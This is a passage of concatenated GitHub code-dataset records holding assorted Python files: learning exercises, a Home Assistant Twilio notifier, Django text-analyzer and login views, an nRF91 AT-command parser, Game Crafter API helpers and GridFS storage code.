checks\n","repo_name":"gabrielsoltz/metahub","sub_path":"lib/context/resources/AwsIamUser.py","file_name":"AwsIamUser.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"75"} +{"seq_id":"40633105613","text":"class User:\n\n def __init__(self, first_name='John', last_name='Doe', **optional_info):\n self.first_name = first_name\n self.last_name = last_name\n self.login_attempts = 0\n try:\n self.email = optional_info['email']\n self.phone = optional_info['phone']\n self.nickname = optional_info['nickname']\n except:\n pass\n\n def greet_user(self):\n return \"Hello, \" + self.first_name + \" \" + self.last_name + \"! Nice to see you again.\\n\"\n\n def increment_login_attempts(self):\n self.login_attempts += 1\n\n def reset_login_attempts(self):\n self.login_attempts = 0\n\n def describe_user(self, *args): # int: 1, 2\n user_main_info = [self.first_name, self.last_name]\n res = []\n if args.__contains__(1):\n res += user_main_info\n if args.__contains__(2):\n user_optional_info = [self.email, self.phone, self.nickname]\n res += user_optional_info\n return res\n\n\n# test 09.3\nuser = User('William', 'Smith')\nprint(user.describe_user(1))\nuser.email = 'wsmith@google.com'\nuser.phone = '+10123567890'\nuser.nickname = 'Tank'\nprint(user.describe_user(2))\nprint(' \\u2022 '.join(user.describe_user(1, 2)))\n\nprint(user.greet_user())\n\n# test 09.5\nuser = User('Mike', 'Carter', email='mcarter@hotmail.com', phone='+1289364276428', nickname='MCAT')\nprint(user.greet_user())\nprint(*user.describe_user(1), end='')\nprint(\"'s login attempts =\", user.login_attempts)\n\nuser.increment_login_attempts()\nuser.increment_login_attempts()\nprint(*user.describe_user(1), end='')\nprint(\"'s login attempts =\", user.login_attempts)\n\nuser.reset_login_attempts()\nprint(*user.describe_user(1), end='')\nprint(\"'s login attempts =\", user.login_attempts)\n","repo_name":"marnyansky/matthes-python-cc-complex-solutions","sub_path":"task0905_page180.py","file_name":"task0905_page180.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70370190324","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nimport sys\nimport numpy as np\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torchvision import datasets, transforms\nfrom torchvision.utils import save_image\nfrom datasets import load_dataset\nfrom random import shuffle\nimport pickle\nimport torchvision\nfrom trainMVAE import load_checkpoint\n\ndef visualizeBatch(rec_x, args):\n rec_x = rec_x.view(-1, 3, args.d, args.d)\n rec_x = torch.sigmoid(rec_x)\n torchvision.utils.save_image(rec_x, args.model_name + '_sample_rgb.png', nrow=20)\n\n'''\nyielding experiment batch\n'''\ndef generateBatch(input_data, args, onEval=False):\n index = [i for i in range(0, len(input_data))]\n shuffle(index)\n chunk = index\n # ss needs yield with labels\n data_chunk_visual = [input_data[index][0] for index in chunk]\n data_chunk_label = [input_data[index][1] for index in chunk]\n data_chunk_visual = torch.FloatTensor(data_chunk_visual)\n data_chunk_label = torch.FloatTensor(data_chunk_label).unsqueeze(dim=1)\n if args.bw:\n # if it is black and white image\n data_chunk_visual = data_chunk_visual.view(-1, args.d, args.d)\n else:\n # if it is rgb images\n data_chunk_visual = data_chunk_visual.view(-1, args.d, args.d, 3)\n data_chunk_visual = data_chunk_visual.permute(0, 3, 1, 2) # (3, x, y)\n return (data_chunk_visual, data_chunk_label)\n\nif __name__ == \"__main__\":\n import os\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--model_path', type=str, help='path to trained model file')\n args = parser.parse_args()\n args.cuda = torch.cuda.is_available()\n args.d = 64\n args.bw = False\n args.model_name = 'mvae'\n\n model = load_checkpoint(args.model_path, use_cuda=args.cuda)\n model.eval()\n if args.cuda:\n model.cuda()\n\n # text = Variable(torch.Tensor([0,1]).repeat(100,1))\n\n # mu, logvar = model.infer(text=text)\n # z = model.reparametrize(mu, logvar)\n # recon_img = model.image_decoder(z)\n\n mu = Variable(torch.Tensor([0]))\n std = Variable(torch.Tensor([1]))\n if args.cuda:\n mu = mu.cuda()\n std = std.cuda()\n\n # sample from uniform gaussian\n sample = Variable(torch.randn(100, 32))\n if args.cuda:\n sample = sample.cuda()\n # sample from particular gaussian by multiplying + adding\n mu = mu.expand_as(sample)\n std = std.expand_as(sample)\n sample = sample.mul(std).add_(mu)\n\n recon_img = model.image_decoder(sample)\n recon_text, parameters = model.text_decoder(sample)\n\n visualizeBatch(recon_img, args)\n\n\n\n\n \n ","repo_name":"frankaging/generative-physics-inference","sub_path":"exp/experiment4-z.py","file_name":"experiment4-z.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"20417586075","text":"\"\"\"\nTwilio Call platform for notify component.\n\nFor more details about this platform, please refer to the documentation at\nhttps://home-assistant.io/components/notify.twilio_call/\n\"\"\"\nimport logging\nimport urllib\n\nimport voluptuous as vol\n\nfrom homeassistant.components.twilio import DATA_TWILIO\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.components.notify import (\n ATTR_TARGET, PLATFORM_SCHEMA, BaseNotificationService)\n\n_LOGGER = logging.getLogger(__name__)\n\nDEPENDENCIES = ['twilio']\n\nCONF_FROM_NUMBER = 'from_number'\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Required(CONF_FROM_NUMBER):\n vol.All(cv.string, vol.Match(r\"^\\+?[1-9]\\d{1,14}$\")),\n})\n\n\ndef get_service(hass, config, discovery_info=None):\n \"\"\"Get the Twilio Call notification service.\"\"\"\n return TwilioCallNotificationService(\n hass.data[DATA_TWILIO], config[CONF_FROM_NUMBER])\n\n\nclass TwilioCallNotificationService(BaseNotificationService):\n \"\"\"Implement the notification service for the Twilio Call service.\"\"\"\n\n def __init__(self, twilio_client, from_number):\n \"\"\"Initialize the service.\"\"\"\n self.client = twilio_client\n self.from_number = from_number\n\n def send_message(self, message=\"\", **kwargs):\n \"\"\"Call to specified target users.\"\"\"\n from twilio import TwilioRestException\n\n targets = kwargs.get(ATTR_TARGET)\n\n if not targets:\n _LOGGER.info(\"At least 1 target is required\")\n return\n\n if message.startswith((\"http://\", \"https://\")):\n twimlet_url = message\n else:\n twimlet_url = \"http://twimlets.com/message?Message=\"\n twimlet_url += urllib.parse.quote(message, safe=\"\")\n\n for target in targets:\n try:\n self.client.calls.create(\n to=target, url=twimlet_url, from_=self.from_number)\n except TwilioRestException as exc:\n _LOGGER.error(exc)\n","repo_name":"jest-community/jest-pytest","sub_path":"src/__tests__/integration/home-assistant/homeassistant/components/notify/twilio_call.py","file_name":"twilio_call.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"75"} +{"seq_id":"17457117332","text":"from django.http import HttpResponse\nfrom django.shortcuts import render,redirect\nfrom django.conf import settings\nfrom django.contrib.auth.models import User,auth\nfrom django.contrib import messages\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef analyze(request):\n #Get the text\n djtext = request.POST.get('text', 'default')\n\n # Check checkbox values\n removepunc = request.POST.get('removepunc', 'off')\n fullcaps = request.POST.get('fullcaps', 'off')\n newlineremover = request.POST.get('newlineremover', 'off')\n extraspaceremover = request.POST.get('extraspaceremover', 'off')\n\n #Check which checkbox is on\n if removepunc == \"on\":\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n analyzed = \"\"\n for char in djtext:\n if char not in punctuations:\n analyzed = analyzed + char\n\n params = {'purpose':'Removed Punctuations', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if(fullcaps==\"on\"):\n analyzed = \"\"\n for char in djtext:\n analyzed = analyzed + char.upper()\n\n params = {'purpose': 'Changed to Uppercase', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if(extraspaceremover==\"on\"):\n analyzed = \"\"\n for index, char in enumerate(djtext):\n if not(djtext[index] == \" \" and djtext[index+1]==\" \"):\n analyzed = analyzed + char\n\n params = {'purpose': 'Removed NewLines', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if (newlineremover == \"on\"):\n analyzed = \"\"\n for char in djtext:\n if char != \"\\n\" and char!=\"\\r\":\n analyzed = analyzed + char\n\n params = {'purpose': 'Removed NewLines', 'analyzed_text': analyzed}\n\n if(removepunc != \"on\" and newlineremover!=\"on\" and extraspaceremover!=\"on\" and fullcaps!=\"on\"):\n return HttpResponse(\"please select any operation and try again\")\n\n return render(request, 'analyze.html', params)\n\ndef contact(request):\n if request.method == \"POST\":\n name = request.POST.get('name', '')\n email = request.POST.get('email', '')\n phone = request.POST.get('phone', '')\n desc = request.POST.get('desc', '')\n contact1 = contact(name=name, email=email, phone=phone, desc=desc)\n contact1.save()\n return render(request,'contact.html')\ndef about(request):\n return render(request,'about.html')\ndef register(request):\n if request.method==\"POST\":\n name=request.POST['name']\n username=request.POST['username']\n email= request.POST['email']\n pname = request.POST['pname']\n cname = request.POST['cname']\n if pname==cname:\n if User.objects.filter(username=username).exists():\n messages.info(request,'user name taken')\n return redirect('register')\n elif User.objects.filter(email=email).exists():\n messages.info(request,'email taken')\n return redirect('register')\n else:\n user=User.objects.create_user(first_name=name,username=username,email=email,password=pname)\n user.save()\n print('user created')\n return redirect('login')\n else:\n messages.info(request,'password not matching..')\n return redirect('register')\n\n return redirect('/')\n else:\n return render(request,'register.html')\ndef login(request):\n if request.method=='POST':\n username = request.POST['username']\n password=request.POST['password']\n\n user=auth.authenticate(username=username,password=password)\n if user is not None:\n auth.login(request,user)\n return redirect('/')\n else:\n messages.info(request,'invalid credentials')\n return redirect('login')\n\n else:\n return render(request,'login.html')\n\ndef logout(request):\n auth.logout(request)\n return redirect('/')","repo_name":"HarshitDolu/Django-text-analyzer-","sub_path":"web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33043625697","text":"\nproduto = list()\ncont = cont2 = cont3 = cont5 = 0\ncont4 = ''\n\nwhile True:\n\n cont5 += 1\n produto.append(str(input('Insira o nome do produto: ')))\n produto.append(float(input('Insira o preço do produto: ')))\n\n cont += produto[1]\n if produto[1] >= 1000:\n cont2 += 1\n if cont5 == 1:\n cont3 = produto[1]\n cont4 = produto[0]\n else:\n if produto[1] < cont3:\n cont3 = produto[1]\n cont4 = produto[0]\n produto.clear()\n\n ch = str(input('Deseja parar o programa?[Sim/Não] ').strip().upper()[0])\n if ch == 'S':\n break\n\nprint(f'O preço total é de: R${cont:.2f}.')\nprint(f'O total de produtos que custam acima de R$1000,00 é: {cont2}.')\nprint(f'O produto mais barato pertence ao: {cont4}, custando {cont3}.')","repo_name":"Caioferrari04/blue_python","sub_path":"lista7_18-05/exe_3whileL7.py","file_name":"exe_3whileL7.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71556690483","text":"from open_ai import OpenAI\nfrom response_store import ResponseStore\nfrom input_manager import InputManager\n\n\nargs = InputManager().parse_args()\n\nprompt = args.prompt\nopenai = OpenAI(args.tokens, args.temperature, args.api, args.model)\nresponse_store = ResponseStore(args.filename)\n\nif prompt:\n response = openai.send_prompt(prompt)\n print(response)\n response_store.save_response(prompt, response)\n","repo_name":"AdamVirostko/openai_cli","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70048990962","text":"def bin_search(l, r, target):\n global count, N, check, first\n\n mid = (l + r) // 2\n\n if a_list[mid] == target:\n count += 1\n first = True\n return\n\n if first:\n if target < a_list[mid]:\n check = 0\n else:\n check = 1\n first = False\n\n if target < a_list[mid] and check == 0:\n check += 1\n bin_search(l, mid - 1, target)\n return\n if target > a_list[mid] and check == 1:\n check -= 1\n bin_search(mid + 1, r, target)\n return\n\n\nT = int(input())\nfor tc in range(1, T + 1):\n N, M = map(int, input().split())\n a_list = sorted(list(map(int, input().split())))\n b_list = list(map(int, input().split()))\n count = 0\n check = 0\n\n for target1 in range(M):\n first = True\n\n if a_list[N - 1] < b_list[target1]:\n continue\n bin_search(0, N - 1, b_list[target1])\n\n print('#%s %s' % (tc, count))\n\n","repo_name":"SINHOLEE/Algorithm","sub_path":"python/SSAFY_정규수업/9월/서울2반9월24일이신호/이진탐색.py","file_name":"이진탐색.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41725304870","text":"\"\"\"\nBasic AT command parsing/encoding library compatible with Nordic's nRF91 series.\n\nNOTE: Commands are NOT expected to end in (0xOD, 0xOA) or a NULL.\n Concatenated commands are separated by a ';' (and only first command has 'AT' prefix).\n Custom command prefixes (i.e. \"AT#\") are not used.\n\nSee https://infocenter.nordicsemi.com/pdf/nrf91_at_commands_v0.7.pdf for more information.\n\nMost AT commands are represented by a single Python dictionary with 'cmd', 'type', and 'params'\nkeys. The 'cmd' value is arbitrary but always starts with '+' or '%' with the nRF91. The 'type'\nvalue can be 'SET', 'READ', or 'TEST'. The 'params' value is a list of Python values of type\nNone, int, str, or (single-nested) lists.\n\nA few command strings use a primary command (e.g. %XSUDO to provide authenticatication) followed\nby one or more \"concatenated\" commands that are sent as part of a single string. These commands are\nseparated by the ';' character.\n\nCommand string: 'AT+CEMODE=0'\nDictionary: {'cmd':'+CEMODE', 'type':'SET', 'params':[0]}\n\nCommand string: 'AT%FOO=7,\"c2lnbmF0dXJl\";+BAR=(1,2,3)'\nDictionary: [{'cmd':'%FOO',\n 'type':'SET',\n 'params':[7, \"c2lnbmF0dXJl\"]},\n {'cmd':'+BAR',\n 'type':'SET',\n 'params':[[1, 2, 3]]}]\n\nResponses strings are similar to commands and use the same 'params' key and format. However,\nresponses have a 'response' key instead of a 'cmd' key, the 'type' key is set to 'RESPONSE',\nand an 'error' key is set to True or False.\n\nResponse string: 'OK'\nDictionary: {'response':'OK', 'type':'RESPONSE', 'error':False, 'params':[]})\n\nResponse string: '+CMS ERROR: 128'\nDictionary: {'response':'+CMS ERROR',\n 'type':'RESPONSE',\n 'error':True,\n 'params':[128]}\n\nThe 'test/tests.py' script contains several example strings and their dictionary equivalents.\n\"\"\"\nAT_CMD_KEY = 'cmd'\nAT_TYPE_KEY = 'type'\nAT_PARAMS_KEY = 'params'\nAT_RESPONSE_KEY = 'response'\nAT_ERROR_KEY = 'error'\n\nAT_TYPE_VALUE_SET = 'SET'\nAT_TYPE_VALUE_READ = 'READ'\nAT_TYPE_VALUE_TEST = 'TEST'\nAT_TYPE_VALUE_RESPONSE = 'RESPONSE'\n\nAT_PARAM_SEP = ','\nAT_RSP_SEP = ':'\nAT_PARAM_CONCAT_SEP = ';'\n\nAT_CMD_PREFIX = 'AT'\nAT_CMD_SET_IDENT = '='\nAT_CMD_READ_IDENT = '?'\nAT_CMD_TEST_IDENT = '=?'\nAT_CMD_STRING_IDENT = '\"'\nAT_CMD_ARRAY_START = '('\nAT_CMD_ARRAY_END = ')'\n\nAT_RSP_OK = 'OK'\nAT_RSP_ERROR = 'ERROR'\n\nAT_STD_PREFX = '+'\nAT_PROP_PREFX = '%'\n\nRESPONSE_STR_DANGLING_QUOTE = '\"\\r\\n'\n\n\nclass ATError(Exception):\n \"\"\"AT exception class, inherits from the built-in Exception class.\"\"\"\n\n def __init__(self, error_str=None):\n \"\"\"Constructs a new object and sets the error.\"\"\"\n if error_str:\n self.err_str = f'AT error: {error_str}'\n else:\n self.err_str = 'AT error'\n Exception.__init__(self, self.err_str)\n\n\ndef _parse_param(param_str):\n \"\"\"Convert the param_str into its corresponding Python type.\"\"\"\n if not param_str:\n return None\n if param_str[0] == AT_CMD_STRING_IDENT:\n return param_str.strip(AT_CMD_STRING_IDENT)\n # It might be a string but not enclosed in quotes\n try:\n res = int(param_str)\n except ValueError:\n res = param_str\n return res\n\n\ndef _encode_param(param):\n \"\"\"Convert the param to its corresponding AT string representation.\"\"\"\n if param is None:\n return ' '\n if isinstance(param, str):\n return \"\".join((AT_CMD_STRING_IDENT, param, AT_CMD_STRING_IDENT))\n return str(param)\n\n\ndef _parse_params(params_str):\n \"\"\"Parse an entire string of params, including single-nested arrays.\"\"\"\n result = []\n array = None\n end_of_array = False\n params = params_str.split(AT_PARAM_SEP)\n for param in params:\n param_str = param.strip()\n if param_str.startswith(AT_CMD_ARRAY_START):\n if array is not None:\n raise ATError(\"Nested array encountered\")\n array = []\n param_str = param_str[1:]\n if param_str.endswith(AT_CMD_ARRAY_END):\n end_of_array = True\n param_str = param_str[:-1]\n if array is not None:\n array.append(_parse_param(param_str))\n else:\n result.append(_parse_param(param_str))\n if end_of_array:\n result.append(array)\n array = None\n end_of_array = False\n return result\n\n\ndef _encode_params(params_seq):\n \"\"\"Return a string representation of the params sequence.\"\"\"\n result_strs = []\n for param in params_seq:\n if not isinstance(param, (list, tuple)):\n result_strs.append(_encode_param(param))\n else:\n seq_str = _encode_params(param)\n result_strs.append(AT_CMD_ARRAY_START + seq_str + AT_CMD_ARRAY_END)\n # Use rstrip to nuke trailing commas if they don't add anything.\n return AT_PARAM_SEP.join(result_strs).rstrip(', ')\n\n\ndef parse_string(cmd_str):\n \"\"\"Return a list of dicts specifying the command.\"\"\"\n if not cmd_str:\n raise ATError('No str to parse.')\n temp_cmd_str = cmd_str.strip().upper()\n if temp_cmd_str.startswith(AT_RSP_OK):\n if len(temp_cmd_str) != len(AT_RSP_OK):\n raise ATError('Unexpected trailing data after OK')\n return {AT_RESPONSE_KEY:AT_RSP_OK,\n AT_TYPE_KEY:AT_TYPE_VALUE_RESPONSE,\n AT_ERROR_KEY:False,\n AT_PARAMS_KEY:[]}\n if temp_cmd_str.startswith(AT_RSP_ERROR):\n if len(temp_cmd_str) != len(AT_RSP_ERROR):\n raise ATError('Unexpected trailing data after ERROR')\n return {AT_RESPONSE_KEY:AT_RSP_ERROR,\n AT_TYPE_KEY:AT_TYPE_VALUE_RESPONSE,\n AT_ERROR_KEY:True,\n AT_PARAMS_KEY:[]}\n if temp_cmd_str.startswith(AT_STD_PREFX) or temp_cmd_str.startswith(AT_PROP_PREFX):\n # Response starting with '+: ' or '%: '\n # Can also be %OK\n if not AT_RSP_SEP in cmd_str:\n return {AT_RESPONSE_KEY:AT_RSP_OK,\n AT_TYPE_KEY:AT_TYPE_VALUE_RESPONSE,\n AT_ERROR_KEY:False,\n AT_PARAMS_KEY:[]}\n response, params = cmd_str.split(AT_RSP_SEP)\n params = _parse_params(params)\n if AT_RSP_ERROR in response:\n return {AT_RESPONSE_KEY:response,\n AT_TYPE_KEY:AT_TYPE_VALUE_RESPONSE,\n AT_ERROR_KEY:True,\n AT_PARAMS_KEY:params}\n return {AT_RESPONSE_KEY:response,\n AT_TYPE_KEY:AT_TYPE_VALUE_RESPONSE,\n AT_ERROR_KEY:False,\n AT_PARAMS_KEY:params}\n if cmd_str.endswith(AT_CMD_TEST_IDENT):\n return {AT_CMD_KEY:cmd_str.upper().lstrip(AT_CMD_PREFIX).rstrip(AT_CMD_TEST_IDENT),\n AT_TYPE_KEY:AT_TYPE_VALUE_TEST, AT_PARAMS_KEY:[]}\n if cmd_str.endswith(AT_CMD_READ_IDENT):\n return {AT_CMD_KEY:cmd_str.upper().lstrip(AT_CMD_PREFIX).rstrip(AT_CMD_TEST_IDENT),\n AT_TYPE_KEY:AT_TYPE_VALUE_READ, AT_PARAMS_KEY:[]}\n if temp_cmd_str.startswith(AT_CMD_PREFIX):\n # Could be a regular or compound command.\n result = []\n stmts = cmd_str.split(AT_PARAM_CONCAT_SEP)\n for stmt in stmts:\n if AT_CMD_SET_IDENT in stmt:\n cmd, params = stmt.split(AT_CMD_SET_IDENT)\n result.append({AT_CMD_KEY:cmd.lstrip(AT_CMD_PREFIX),\n AT_TYPE_KEY:AT_TYPE_VALUE_SET, AT_PARAMS_KEY:_parse_params(params)})\n else:\n # Some SET requests actually return data, e.g. AT%XMODEMUUID\n result.append({AT_CMD_KEY:stmt.lstrip(AT_CMD_PREFIX),\n AT_TYPE_KEY:AT_TYPE_VALUE_SET, AT_PARAMS_KEY:[]})\n if len(result) == 1:\n return result[0]\n return result\n\n if cmd_str.strip() == AT_CMD_STRING_IDENT:\n # Cert responses end with a line containing a single \".\n cmd_str = ''\n elif cmd_str.endswith(RESPONSE_STR_DANGLING_QUOTE):\n # It's also possible for multi-line response strings to end with an orphan \".\n cmd_str = cmd_str.strip(RESPONSE_STR_DANGLING_QUOTE)\n return{AT_RESPONSE_KEY:None,\n AT_TYPE_KEY:AT_TYPE_VALUE_RESPONSE,\n AT_ERROR_KEY:False,\n AT_PARAMS_KEY:[cmd_str]}\n\n\ndef encode_command(cmd_dicts, result_strs=None):\n \"\"\"Take a list of dicts that describe an AT command string and encode it as string.\"\"\"\n if not result_strs:\n result_strs = [AT_CMD_PREFIX]\n if not isinstance(cmd_dicts, (tuple, list)):\n cmd_dicts = (cmd_dicts,)\n\n result_strs.append(cmd_dicts[0][AT_CMD_KEY])\n cmd_type = cmd_dicts[0][AT_TYPE_KEY]\n if cmd_type == AT_TYPE_VALUE_SET:\n if cmd_dicts[0].get(AT_PARAMS_KEY):\n result_strs.append(AT_CMD_SET_IDENT)\n result_strs.append(_encode_params(cmd_dicts[0][AT_PARAMS_KEY]))\n elif cmd_type == AT_TYPE_VALUE_READ:\n result_strs.append(AT_CMD_READ_IDENT)\n elif cmd_type == AT_TYPE_VALUE_TEST:\n result_strs.append(AT_CMD_TEST_IDENT)\n else:\n raise ATError(f'Unknown command type: {cmd_type}')\n if len(cmd_dicts) == 1:\n return \"\".join(result_strs)\n result_strs.append(AT_PARAM_CONCAT_SEP)\n return \"\".join(encode_command(cmd_dicts[1:], result_strs))\n","repo_name":"inductivekickback/at","sub_path":"at/at.py","file_name":"at.py","file_ext":"py","file_size_in_byte":9375,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"17577502977","text":"import asyncio\nfrom tabulate import tabulate\nfrom templative.distribute.gameCrafter.util import httpOperations\n\nasync def printUser(gameCrafterSession):\n print(await httpOperations.getUser(gameCrafterSession))\n\nasync def listGames(gameCrafterSession):\n gamesResponse = await httpOperations.getGamesForUser(gameCrafterSession)\n await printGames(gamesResponse[\"items\"])\n\nasync def deletePageOfGames(gameCrafterSession):\n gamesResponse = await httpOperations.getGamesForUser(gameCrafterSession)\n deleted = \"\"\n tasks = []\n for game in gamesResponse[\"items\"]:\n deleted = deleted + game[\"name\"] + \" \"\n asyncio.create_task((httpOperations.deleteGame(gameCrafterSession, game[\"id\"])))\n res = await asyncio.gather(*tasks, return_exceptions=True)\n\nasync def listGamesForUserDesigners(gameCrafterSession):\n designersResponse = await httpOperations.getDesigners(gameCrafterSession)\n designers = designersResponse[\"items\"]\n\n games = []\n for designer in designers:\n gamesResponse = await httpOperations.getGamesForDesignerId(gameCrafterSession, designer[\"id\"])\n games.extend(gamesResponse[\"items\"])\n\n printGames(games)\n\nasync def printGames(games):\n headers = [\"name\", \"skuId\", \"link\"]\n data = []\n\n for game in games:\n gameName = game[\"name\"]\n skuId = game[\"sku_id\"]\n gameLink = \"https://www.thegamecrafter.com\" + game[\"edit_uri\"]\n data.append([gameName, skuId, gameLink])\n\n print(tabulate(data, headers=headers, tablefmt='orgtbl'))\n\nasync def listDesigners(gameCrafterSession):\n designersResponse = await httpOperations.getDesigners(gameCrafterSession)\n\n headers = [\"name\", \"id\"]\n data = []\n for designer in designersResponse[\"items\"]:\n print(designer)\n name = designer[\"name\"]\n designerId = designer[\"id\"]\n data.append([name, designerId])\n\n print(tabulate(data, headers=headers, tablefmt='orgtbl'))\n","repo_name":"templative/templative","sub_path":"templative/distribute/gameCrafter/accountManagement/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"4821471786","text":"# utils to transform images, create a dataloader to compute the embeddings, and actually compute the embeddings\r\n\r\nfrom torch.utils.data import Dataset, Subset\r\nimport torchvision.transforms as transforms\r\nimport torch\r\nfrom typing import Tuple, List, Type, Union\r\nfrom PIL import Image\r\nimport torch.nn as nn\r\nfrom tqdm import tqdm\r\n\r\nclass CustomDataSet(Dataset):\r\n \"\"\"\r\n Custom dataset class for loading images from a directory (no labels).\r\n \"\"\"\r\n def __init__(self, all_imgs: list, transform: transforms, abs_path: str = 'images/') -> None:\r\n \"\"\"\r\n Initialize the dataset.\r\n\r\n Args:\r\n all_imgs (list): List of image names.\r\n transform (transforms): Transformations to be applied on the images.\r\n abs_path (str): Absolute path to the directory containing the images.\r\n \"\"\"\r\n self.abs_path = abs_path\r\n self.all_imgs = all_imgs\r\n self.total_imgs = len(all_imgs)\r\n self.transform = transform\r\n\r\n def __len__(self) -> int:\r\n \"\"\"\r\n Return the total number of images in the dataset.\r\n\r\n Returns:\r\n int: Total number of images in the dataset.\r\n \"\"\"\r\n return self.total_imgs\r\n\r\n def __getitem__(self, idx: int) -> torch.Tensor:\r\n \"\"\"\r\n Return the image at the given index.\r\n\r\n Args:\r\n idx (int): Index of the image to be returned.\r\n\r\n Returns:\r\n torch.Tensor: Image at the given index.\r\n \"\"\"\r\n image = Image.open(self.abs_path + self.all_imgs[idx])\r\n if image.mode != 'RGB':\r\n image = image.convert('RGB')\r\n tensor_image = self.transform(image)\r\n return tensor_image\r\n\r\n\r\ndef transform_image(image_list: List[Image.Image]) -> torch.Tensor:\r\n \"\"\"\r\n Transform a list of images to a tensor applying normalize and resize transforms\r\n Args:\r\n image_list (List[Image.Image]): list of images\r\n Returns:\r\n torch.Tensor: tensor of images\r\n \"\"\"\r\n transform = transforms.Compose([transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\r\n transforms.Resize((224, 224))])\r\n image_list = [transform(image) for image in image_list]\r\n image_tensor = torch.stack(image_list)\r\n return image_tensor\r\n\r\n\r\ndef load_images_in_dl(image_paths: list, batch_size: int = 256, abs_path: str = 'images/') -> torch.utils.data.DataLoader:\r\n \"\"\"\r\n Loads images from a list of paths and returns a dataloader.\r\n \r\n Args:\r\n image_paths (list): list of paths to images\r\n batch_size (int): batch size for the dataloader\r\n abs_path (str): absolute path to the images\r\n \r\n Returns:\r\n torch.utils.data.DataLoader: dataloader with the images\r\n \"\"\"\r\n # load the images\r\n preprocess = transforms.Compose([transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\r\n transforms.Resize((224, 224))])\r\n dataset = CustomDataSet(image_paths, transform=preprocess, abs_path=abs_path)\r\n # create a dataloader\r\n dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=False, num_workers=4)\r\n return dataloader\r\n\r\n\r\ndef embeddings_from_dl(im_encoder: nn.Module, dl: torch.utils.data.DataLoader, dl_with_labels: bool = False) -> torch.Tensor:\r\n \"\"\"\r\n Computes embeddings for all images in a dataloader.\r\n \r\n Args:\r\n im_encoder: an ImageEncoder\r\n dl: a dataloader that returns images, and labels if labels=True\r\n labels: whether to collect and return labels as well\r\n \r\n Returns:\r\n im_embeds: a tensor of shape (num_images, embedding_size)\r\n all_labels: a list of lists of labels, if labels=True\r\n \"\"\" \r\n im_embeds = torch.zeros(len(dl.dataset), im_encoder.embedding_size).to('cuda')\r\n all_labels = []\r\n for i, images in tqdm(enumerate(dl)):\r\n if dl_with_labels:\r\n images, labels = images\r\n all_labels += list(labels)\r\n temp_embeds = im_encoder.encode(images, alr_preprocessed=True).cpu()\r\n im_embeds[i * dl.batch_size : (i + 1) * dl.batch_size] = temp_embeds\r\n if dl_with_labels:\r\n im_embeds = im_embeds, all_labels\r\n return im_embeds","repo_name":"noranta4/ASIF","sub_path":"relrepsutils.py","file_name":"relrepsutils.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"21827977354","text":"import gridfs\nfrom werkzeug import secure_filename\nfrom pymongo import ASCENDING, DESCENDING\nfrom datetime import datetime\nimport fnmatch\n\ndef store_file(f, username, aes_key, cksum, db):\n fname = secure_filename(f.filename)\n \n gfs = gridfs.GridFS(db)\n \n gf = gfs.new_file(filename=fname, contentType=f.content_type)\n \n gf.write(f)\n gf.close()\n f.close()\n\n date = datetime.utcnow()\n\n finfo = {'file_id': gf._id, \n 'username': username, \n 'filename': fname,\n 'aes_key': aes_key,\n 'date': date,\n 'md5': cksum}\n\n return db.fileinfo.insert(finfo)\n\ndef retrieve_file(db, finfo):\n gfs = gridfs.GridFS(db)\n\n if finfo:\n return gfs.get(finfo['file_id'])\n\n return None\n\ndef ensure_file_index(db):\n db.fileinfo.ensure_index([('username', ASCENDING), \n ('filename', ASCENDING), \n ('date', DESCENDING)])\n\n\ndef get_fileinfo(db, username, filename):\n ensure_file_index(db)\n\n finfo = db.fileinfo.find_one({'username': username,\n 'filename': filename},\n sort = [('date', DESCENDING)])\n\n return finfo\n\ndef get_versions(db, username, filename, earliest=None, latest=None):\n ensure_file_index(db)\n\n query = {'username': username,\n 'filename': filename}\n\n if earliest and latest:\n query['$and'] = [{'date': {'$gt': earliest}}, \n {'date': {'$lt': latest}}]\n elif earliest:\n query['date'] = {'$gt': earliest}\n elif latest:\n query['date'] = {'$lt': latest}\n\n return db.fileinfo.find(query).sort('date', DESCENDING)\n \n\ndef copy_file(db, user_from, user_to, filename, aes_key):\n finfo = get_fileinfo(db, user_from, 